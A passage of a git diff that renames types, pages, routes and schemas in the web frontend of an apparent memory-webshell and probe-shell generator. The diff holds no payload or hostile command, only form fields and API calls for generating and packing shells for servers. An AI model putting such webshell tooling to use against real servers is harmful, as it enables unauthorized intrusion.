setPackMethod] = useState(""); const [isActionPending, startTransition] = useTransition(); - const onSubmit = async (data: ShellFormSchema) => { + const onSubmit = async (data: MemShellFormSchema) => { startTransition(async () => { try { const postData = transformToPostData(data); - const response = await fetch(`${env.API_URL}/generate`, { + const response = await fetch(`${env.API_URL}/memshell/generate`, { method: "POST", headers: { "Content-Type": "application/json", @@ -101,8 +101,8 @@ export default function MemShellPage() { return; } - const result = (await response.json()) as GenerateResponse; - setGenerateResult(result.generateResult); + const result = (await response.json()) as MemShellGenerateResponse; + setGenerateResult(result.memShellResult); setPackResult(result.packResult); setAllPackResults(result.allPackResults); setPackMethod(data.packingMethod); diff --git a/web/src/pages/probe.tsx b/web/src/pages/probeshell.tsx similarity index 79% rename from web/src/pages/probe.tsx rename to web/src/pages/probeshell.tsx index f80c2f5b..07ade141 100644 --- a/web/src/pages/probe.tsx +++ b/web/src/pages/probeshell.tsx @@ -4,20 +4,20 @@ import { useState, useTransition } from "react"; import { useForm } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; -import MainConfigCard from "@/components/probe/main-config-card"; -import PackageConfigCard from "@/components/probe/package-config-card"; -import ShellResult from "@/components/probe/shell-result"; +import MainConfigCard from "@/components/probeshell/main-config-card"; +import PackageConfigCard from "@/components/probeshell/package-config-card"; +import ShellResult from "@/components/probeshell/shell-result"; import { Button } from "@/components/ui/button"; import { Form, } from "@/components/ui/form"; import { env } from "@/config"; -import type { ProbeGenerateResponse, ProbeGenerateResult } from "@/types/probe"; -import { type ProbeFormSchema, probeFormSchema, useYupValidationProbeResolver } from "@/types/schema"; -import type { APIErrorResponse, PackerConfig, ServerConfig } from "@/types/shell"; +import type { APIErrorResponse, PackerConfig, ServerConfig } from "@/types/memshell"; +import type { ProbeShellGenerateResponse, ProbeShellResult } from "@/types/probeshell"; +import { type ProbeShellFormSchema, probeShellFormSchema, useYupValidationProbeResolver } from "@/types/schema"; import { transformToProbePostData } from "@/utils/transformer"; -export default function ProbeGenerator() { +export default function ProbeShellGenerator() { const { data: serverConfig } = useQuery({ queryKey: ["serverConfig"], queryFn: async () => { @@ -36,8 +36,8 @@ export default function ProbeGenerator() { const { t } = useTranslation(); - const form = useForm({ - resolver: useYupValidationProbeResolver(probeFormSchema, t), + const form = useForm({ + resolver: useYupValidationProbeResolver(probeShellFormSchema, t), defaultValues: { probeMethod: "Sleep", probeContent: "Server", @@ -52,11 +52,11 @@ export default function ProbeGenerator() { const [packResult, setPackResult] = useState(); const [allPackResults, setAllPackResults] = useState | undefined>(); - const [generateResult, setGenerateResult] = useState(); + const [generateResult, setGenerateResult] = useState(); const [packMethod, setPackMethod] = useState(""); const [isActionPending, startTransition] = useTransition(); - const onSubmit = async (data: ProbeFormSchema) => { + const onSubmit = async (data: ProbeShellFormSchema) => { startTransition(async () => { try { const postData = transformToProbePostData(data); @@ -74,8 +74,8 @@ export default function ProbeGenerator() { return; } - const result = (await response.json()) as ProbeGenerateResponse; - setGenerateResult(result.probeResult); + const result = (await response.json()) as ProbeShellGenerateResponse; + setGenerateResult(result.probeShellResult); setPackResult(result.packResult); setAllPackResults(result.allPackResults); setPackMethod(data.packingMethod); diff --git a/web/src/router.tsx b/web/src/router.tsx index eee2a42c..b397c40d 100644 --- a/web/src/router.tsx +++ b/web/src/router.tsx @@ -1,14 +1,14 @@ import {createHashRouter} from "react-router-dom"; import RootLayout from "@/components/layouts/root-layout"; import {env} from "@/config"; +import LandingPage from "@/pages/landing"; import MemShellPage from "@/pages/memshell"; -import type {ShellFormSchema} from "@/types/schema"; -import LandingPage from "./pages/landing"; -import ProbePage from "./pages/probe"; +import ProbeShellPage from "@/pages/probeshell"; +import type {MemShellFormSchema} from "@/types/schema"; // Function to parse URL parameters into form default values -const parseUrlParams = (searchParams: URLSearchParams): Partial => { - const result: Partial = {}; +const parseUrlParams = (searchParams: URLSearchParams): Partial => { + const result: Partial = {}; // Helper function to parse boolean values const parseBoolean = (value: string | null): boolean | undefined => { @@ -72,8 +72,8 @@ export const router = createHashRouter( }, }, { - path: "probe", - element: , + path: "probeshell", + element: , }, ], }, diff --git a/web/src/types/shell.ts b/web/src/types/memshell.ts similarity index 95% rename from web/src/types/shell.ts rename to web/src/types/memshell.ts index 9ad62126..297ef6c1 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/memshell.ts @@ -87,8 +87,8 @@ export interface MainConfig { export type PackerConfig = Array; -export interface GenerateResponse { - generateResult: GenerateResult; +export interface MemShellGenerateResponse { + memShellResult: MemShellResult; packResult?: string; allPackResults?: Map; } @@ -97,7 +97,7 @@ export interface APIErrorResponse { error: string; } -export interface GenerateResult { +export interface MemShellResult { shellClassName: string; shellSize: number; shellBytesBase64Str: string; diff --git a/web/src/types/probe.ts b/web/src/types/probeshell.ts similarity index 91% rename from web/src/types/probe.ts rename to web/src/types/probeshell.ts index a5bd6b7a..c836b9b7 100644 --- a/web/src/types/probe.ts +++ b/web/src/types/probeshell.ts @@ -51,13 +51,13 @@ export interface PayloadFormValues { packingMethod: string; } -export interface ProbeGenerateResponse { - probeResult: ProbeGenerateResult; +export interface ProbeShellGenerateResponse { + probeShellResult: ProbeShellResult; packResult?: string; allPackResults?: Map; } -export interface ProbeGenerateResult { +export interface ProbeShellResult { shellClassName: string; shellSize: number; shellBytesBase64Str: string; diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 2501c7c7..dea544c7 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -1,10 +1,10 @@ -import type { TFunction } from "i18next"; -import { useCallback } from "react"; -import type { FieldErrors } from "react-hook-form"; +import type {TFunction} from "i18next"; +import {useCallback} from "react"; +import type {FieldErrors} from "react-hook-form"; import * as yup from "yup"; -import { ShellToolType } from "./shell"; +import {ShellToolType} from "./memshell"; -export const shellFormSchema = yup.object({ +export const memShellFormSchema = yup.object({ server: yup.string().required().min(1), serverVersion: yup.string().required().min(1), targetJdkVersion: yup.string().optional(), @@ -30,8 +30,8 @@ export const shellFormSchema = yup.object({ }); interface ValidationResult { - values: ShellFormSchema; - errors: FieldErrors; + values: MemShellFormSchema; + errors: FieldErrors; } const urlPatternIsNeeded = (shellType: string) => { @@ -52,15 +52,15 @@ const isInvalidUrl = (urlPattern: string | undefined) => export const useYupValidationResolver = (validationSchema: yup.ObjectSchema, t: TFunction) => useCallback( - async (data: ShellFormSchema): Promise => { + async (data: MemShellFormSchema): Promise => { try { const values = (await validationSchema.validate(data, { abortEarly: false, - })) as ShellFormSchema; + })) as MemShellFormSchema; - const urlPattern: keyof ShellFormSchema = "urlPattern"; - const shellClassBase64: keyof ShellFormSchema = "shellClassBase64"; - const serverVersion: keyof ShellFormSchema = "serverVersion"; + const urlPattern: keyof MemShellFormSchema = "urlPattern"; + const shellClassBase64: keyof MemShellFormSchema = "shellClassBase64"; + const serverVersion: keyof MemShellFormSchema = "serverVersion"; const errors = {} as any; if (urlPatternIsNeeded(values?.shellType) && isInvalidUrl(values?.urlPattern)) { @@ -89,22 +89,22 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema } catch (errors) { if (errors instanceof yup.ValidationError) { return { - values: {} as ShellFormSchema, + values: {} as MemShellFormSchema, errors: errors.inner.reduce( (allErrors, currentError) => { - allErrors[currentError.path as keyof ShellFormSchema] = { + allErrors[currentError.path as keyof MemShellFormSchema] = { type: currentError.type ?? "validation", message: currentError.message, }; return allErrors; }, - {} as FieldErrors, + {} as FieldErrors, ), }; } return { - values: {} as ShellFormSchema, + values: {} as MemShellFormSchema, errors: { server: { type: "unknown", @@ -117,11 +117,11 @@ export const useYupValidationResolver = (validationSchema: yup.ObjectSchema [validationSchema, t], ); -export type ShellFormSchema = yup.InferType; +export type MemShellFormSchema = yup.InferType; -export type ProbeFormSchema = yup.InferType; +export type ProbeShellFormSchema = yup.InferType; -export const probeFormSchema = yup.object().shape({ +export const probeShellFormSchema = yup.object().shape({ probeMethod: yup.string().required(), probeContent: yup.string().required(), shellClassName: yup.string().optional(), @@ -139,19 +139,19 @@ export const probeFormSchema = yup.object().shape({ }); interface ProbeValidationResult { - values: ProbeFormSchema; - errors: FieldErrors; + values: ProbeShellFormSchema; + errors: FieldErrors; } export const useYupValidationProbeResolver = (validationSchema: yup.ObjectSchema, t: TFunction) => useCallback( - async (data: ProbeFormSchema): Promise => { + async (data: ProbeShellFormSchema): Promise => { try { const values = (await validationSchema.validate(data, { abortEarly: false, - })) as ProbeFormSchema; + })) as ProbeShellFormSchema; - const host: keyof ProbeFormSchema = "host"; + const host: keyof ProbeShellFormSchema = "host"; const errors = {} as any; if (values.probeMethod === "DNSLog" && !values.host) { @@ -165,26 +165,25 @@ export const useYupValidationProbeResolver = (validationSchema: yup.ObjectSchema errors, }; } catch (errors) { - console.log(errors) if (errors instanceof yup.ValidationError) { return { - values: {} as ProbeFormSchema, + values: {} as ProbeShellFormSchema, errors: errors.inner.reduce( (allErrors, currentError) => { - allErrors[currentError.path as keyof ProbeFormSchema] = { + allErrors[currentError.path as keyof ProbeShellFormSchema] = { type: currentError.type ?? "validation", message: currentError.message, }; console.log(allErrors) return allErrors; }, - {} as FieldErrors, + {} as FieldErrors, ), }; } return { - values: {} as ProbeFormSchema, + values: {} as ProbeShellFormSchema, errors: { server: { type: "unknown", diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 7093155a..babe0b2c 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -1,8 +1,8 @@ -import type {ProbeConfig, ProbeContentConfig} from "@/types/probe"; -import type {ProbeFormSchema, ShellFormSchema} from "@/types/schema.ts"; -import type {InjectorConfig, ShellConfig, ShellToolConfig} from "@/types/shell.ts"; +import type {InjectorConfig, ShellConfig, ShellToolConfig} from "@/types/memshell"; +import type {ProbeConfig, ProbeContentConfig} from "@/types/probeshell"; +import type {MemShellFormSchema, ProbeShellFormSchema} from "@/types/schema.ts"; -export function transformToPostData(formValue: ShellFormSchema) { +export function transformToPostData(formValue: MemShellFormSchema) { const shellConfig: ShellConfig = { server: formValue.server, serverVersion: formValue.serverVersion, @@ -39,7 +39,7 @@ export function transformToPostData(formValue: ShellFormSchema) { }; } -export function transformToProbePostData(formValue: ProbeFormSchema) { +export function transformToProbePostData(formValue: ProbeShellFormSchema) { const probeConfig: ProbeConfig = { probeMethod: formValue.probeMethod, probeContent: formValue.probeContent, @@ -69,7 +69,7 @@ export function transformToProbePostData(formValue: ProbeFormSchema) { * @param values The form values * @returns A URL string with query parameters */ -export function generateShareableUrl(values: ShellFormSchema): string { +export function generateShareableUrl(values: MemShellFormSchema): string { const params = new URLSearchParams(); // Helper function to add parameters only if they have non-default values